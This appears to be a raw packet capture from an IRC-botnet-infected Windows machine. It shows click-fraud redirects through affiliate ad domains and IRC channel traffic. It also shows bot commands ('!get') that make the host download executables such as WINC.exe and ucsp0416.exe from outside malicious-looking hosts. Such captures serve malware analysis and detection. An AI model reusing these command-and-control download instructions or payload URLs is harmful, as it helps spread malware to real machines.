VICTIM: GET /search/portal.php?ref=377 HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Accept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: www.fiftpose.comConnection: Keep-Alive ATTACKER: GET /search/index.php?terms=credit+help&ref=377 HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Referer: http:/www.fiftpose.com/search/portal.php?ref=377Accept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: www.fiftpose.comConnection: Keep-Alive ATTACKER: GET /search/assets/css/base_grass.css HTTP/1.0Accept: */*Referer: http:/www.fiftpose.com/search/index.php?terms=credit+help&ref=377Accept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: www.fiftpose.comConnection: Keep-Alive ATTACKER: GET /search/ HTTP/1.0Accept: */*Referer: http:/www.fiftpose.com/search/index.php?terms=credit+help&ref=377Accept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: www.fiftpose.comConnection: Keep-Alive ATTACKER: PING :i. ATTACKER: PONG :i. VICTIM: JOIN &virtu ATTACKER: GET /search/clk.php?u=aHR0cCUzQSUyRiUyRjc0NjUuMzc3LmRpc2NvdmVyLWZhY3RzLmNvbSUyRmp1bXAxJTJGJTNGYWZmaWxpYXRlJTNENzQ2NSUyNnN1YmlkJTNEMzc3JTI2dGVybXMlM0RjcmVkaXQlMjUyMGhlbHAlMjZzaWQlM0RaMjgxMDQ0NDUxJTI1NDBJelg0WWpOd0FETXo4bE0zQWpNZmxqTWZORE55OFZPd2tETTRRVE4zSVRNJTI2YSUzRHRiY3luYXZnJTI2bXIlM0QxJTI2cmMlM0QwfDAuMDM0fHxhZG1pbnx8Mzc3fDA%3D HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Referer: http:/www.fiftpose.com/search/index.php?terms=credit+help&ref=377Accept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: www.fiftpose.comConnection: Keep-Alive ATTACKER: GET /jump1/?affiliate=7465&subid=377&terms=credit%20help&sid=Z281044451%40IzX4YjNwADMz8lM3AjMfljMfNDNy8VOwkDM4QTN3ITM&a=tbcynavg&mr=1&rc=0 HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Referer: http:/www.fiftpose.com/search/clk.php?u=aHR0cCUzQSUyRiUyRjc0NjUuMzc3LmRpc2NvdmVyLWZhY3RzLmNvbSUyRmp1bXAxJTJGJTNGYWZmaWxpYXRlJTNENzQ2NSUyNnN1YmlkJTNEMzc3JTI2dGVybXMlM0RjcmVkaXQlMjUyMGhlbHAlMjZzaWQlM0RaMjgxMDQ0NDUxJTI1NDBJelg0WWpOd0FETXo4bE0zQWpNZmxqTWZORE55OFZPd2tETTRRVE4zSVRNJTI2YSUzRHRiY3luYXZnJTI2bXIlM0QxJTI2cmMlM0QwfDAuMDM0fHxhZG1pbnx8Mzc3fDA%3DAccept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: 7465.377.discover-facts.comConnection: Keep-Alive ATTACKER: GET /backcookie.js HTTP/1.0Accept: */*Referer: http:/7465.377.discover-facts.com/jump1/?affiliate=7465&subid=377&terms=credit%20help&sid=Z281044451%40IzX4YjNwADMz8lM3AjMfljMfNDNy8VOwkDM4QTN3ITM&a=tbcynavg&mr=1&rc=0Accept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: 7465.377.discover-facts.comConnection: Keep-AliveCookie: UID2=Z4520465875QTMuQjNx4yNwEjLwMTM9AXa1ZCOykDM4QTN3ITM9UWbpRnJ0lmbhxGcvdWPmFmJ ATTACKER: GET /convpixel/?advertiser_id=&terms=credit%20help&advertiser_listing_id=&kw_id=0&aff_id=goplanit&subid=377 HTTP/1.0Accept: */*Referer: http:/7465.377.discover-facts.com/jump1/?affiliate=7465&subid=377&terms=credit%20help&sid=Z281044451%40IzX4YjNwADMz8lM3AjMfljMfNDNy8VOwkDM4QTN3ITM&a=tbcynavg&mr=1&rc=0Accept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: www.advertise.comConnection: Keep-Alive ATTACKER: NICK qxgnftqnUSER f020500 . . :- VICTIM: Service Pack 2JOIN &virtu ATTACKER: :j. PRIVMSG qxgnftqn :!get http:/ad.ghura.pl/lo.php:j. PRIVMSG qxgnftqn :!get http:/ku.perfectexe.com:88/WINC.exe:u. PRIVMSG qxgnftqn :!get http:/ad.ghura.pl/rus.php:u. PRIVMSG qxgnftqn :!get http:/ku.perfectexe.com:88/WINC.exe ATTACKER: GET /lo.php HTTP/1.0User-Agent: DownloadHost: ad.ghura.plPragma: no-cache ATTACKER: GET /WINC.exe HTTP/1.0User-Agent: DownloadHost: ku.perfectexe.com:88Pragma: no-cache ATTACKER: GET /rus.php HTTP/1.0User-Agent: DownloadHost: ad.ghura.plPragma: no-cache ATTACKER: GET /WINC.exe HTTP/1.0User-Agent: DownloadHost: ku.perfectexe.com:88Pragma: no-cache ATTACKER: GET /list.php?c=9C84DC0B75C314B8AB4C785089CC5C8D7FE6340FEACEBA262715357D3995142F80BE34295B2C8FE1AAD325BF87C25674B84216E19DE496F4ACCD&v=2&t=0.8600885 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 5.00.3315.1000; Windows NT 5.0.2195)Host: mm.perfectexe.com:250Connection: Keep-AliveCache-Control: no-cache ATTACKER: GET /pk/ucsp0416.exe?t=0.6275598 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 5.00.3315.1000; Windows NT 5.0.2195)Host: 64.79.86.26Connection: Keep-AliveCache-Control: no-cache ATTACKER: PING :j. ATTACKER: PONG :j. VICTIM: JOIN &virtu ATTACKER: PING :j. ATTACKER: PONG :j. VICTIM: JOIN &virtu